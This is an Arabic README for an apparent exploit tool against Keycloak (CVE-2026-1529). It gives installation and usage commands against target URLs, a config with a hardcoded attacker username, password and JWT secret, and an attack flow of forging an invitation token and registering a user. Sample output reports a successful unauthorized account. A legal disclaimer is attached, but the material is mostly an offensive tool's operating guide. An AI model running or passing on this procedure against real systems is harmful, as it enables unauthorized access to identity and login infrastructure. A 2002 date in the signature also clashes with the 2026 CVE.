# استنساخ المستودع
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate  # على Windows: venv\Scripts\activate

# تثبيت التبعيات
pip install -r requirements.txt

# إنشاء هيكل الدليل
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit

# تنزيل الملفات من الإصدارات أو نسخها يدويًا
# ثم تثبيت التبعيات
pip install requests urllib3 PyJWT

keycloak-exploit/
├── keycloak-exploit.py           # سكربت الاستغلال الرئيسي
├── requirements.txt              # تبعيات Python
├── README.md                     # هذا الملف
├── config/
│   └── default_config.json       # ملف الإعدادات
├── utils/
│   ├── __init__.py              # مُهيئ الحزمة
│   ├── http_utils.py            # أدوات عميل HTTP
│   ├── jwt_utils.py             # التلاعب بـ JWT
│   └── crypto_utils.py          # أدوات التشفير
├── logs/                         # سجلات مولدة تلقائيًا
└── output/
    └── reports/                  # تقارير الاستغلال

python3 keycloak-exploit.py https://target-keycloak.com

# مع رمز دعوة مخصص
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com

# مع معرف مؤسسة مخصص
python3 keycloak-exploit.py -o custom_org_id https://target.com

# مع ملف إعدادات مخصص
python3 keycloak-exploit.py -c /path/to/config.json https://target.com

# تفعيل تسجيل التصحيح
python3 keycloak-exploit.py -d https://target.com

# عرض المساعدة
python3 keycloak-exploit.py -h

# عرض الإصدار
python3 keycloak-exploit.py -v

{
    "exploit": {
        "default_username": "admin_user_2026",
        "default_password": "KeycloakCVE2026!",
        "default_email": "[email protected]",
        "timeout": 30,
        "max_retries": 3
    },
    "jwt": {
        "algorithm": "HS256",
        "secret_key": "keycloak-cve-2026-1529-exploit",
        "token_expiry": 3600
    },
    "target": {
        "endpoints": {
            "realms": "/realms",
            "organizations": "/organizations",
            "register": "/register",
            "login": "/login"
        }
    },
    "output": {
        "log_level": "INFO",
        "save_reports": true,
        "report_format": "txt"
    }
}

┌─────────────────┐
│  فحص الهدف      │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  توليد/الحصول   │
│  على الرمز      │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ التلاعب بالرمز  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ تسجيل المستخدم  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ اختبار الدخول   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ توليد التقرير   │
└─────────────────┘

============================================================
نتائج استغلال CVE-2026-1529
============================================================
✓ الهدف عرضة لثغرة CVE-2026-1529

🎯 الاستغلال ناجح!
اسم المستخدم: admin_user_2026
كلمة المرور: KeycloakCVE2026!
البريد الإلكتروني: [email protected]
رابط تسجيل الدخول: https://target.com/realms/master/account

📄 تم حفظ التقرير في: output/reports/exploit_report_20260211_050507.txt

🔐 استخدم بيانات الاعتماد المقدمة للوصول إلى مثيل Keycloak!
⚠️ هذا يوضح الوصول غير المصرح به بسبب CVE-2026-1529

============================================================
بواسطة f3ds cr3w est, 2002
============================================================

# تأكد من أنك في الدليل الصحيح
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com

# تأكد من وجود دليل config
mkdir -p config
# انسخ أو أنشئ default_config.json في config/

pip install --upgrade urllib3

# تفعيل تسجيل التصحيح لرؤية المزيد من التفاصيل
python3 keycloak-exploit.py -d https://target.com

# زيادة المهلة في config/default_config.json
"timeout": 60

python3 keycloak-exploit.py -d https://target.com

⚠️ إشعار قانوني مهم ⚠️

هذه الأداة مقدمة لأغراض الاختبار الأمني التعليمي والمصرح به فقط.

باستخدام هذه الأداة، فإنك توافق على أن:

1. ستستخدم هذه الأداة فقط على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح
   لاختبارها.

2. تدرك أن الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني
   بموجب القوانين بما في ذلك على سبيل المثال لا الحصر:
   - قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) - الولايات المتحدة
   - قانون إساءة استخدام الكمبيوتر - المملكة المتحدة
   - تشريعات مماثلة في البلدان الأخرى

3. تتحمل المسؤولية الكاملة عن أي عواقب لاستخدام هذه الأداة.

4. المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر
   ناتج عن هذه الأداة.

5. هذه الأداة مقدمة "كما هي" دون أي ضمان من أي نوع.

استخدم على مسؤوليتك الخاصة. الوصول غير المصرح به جريمة.

# استنساخ نسختك
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate

# تثبيت التبعيات
pip install -r requirements.txt

# قم بتغييراتك واختبرها
python3 keycloak-exploit.py https://test-target.com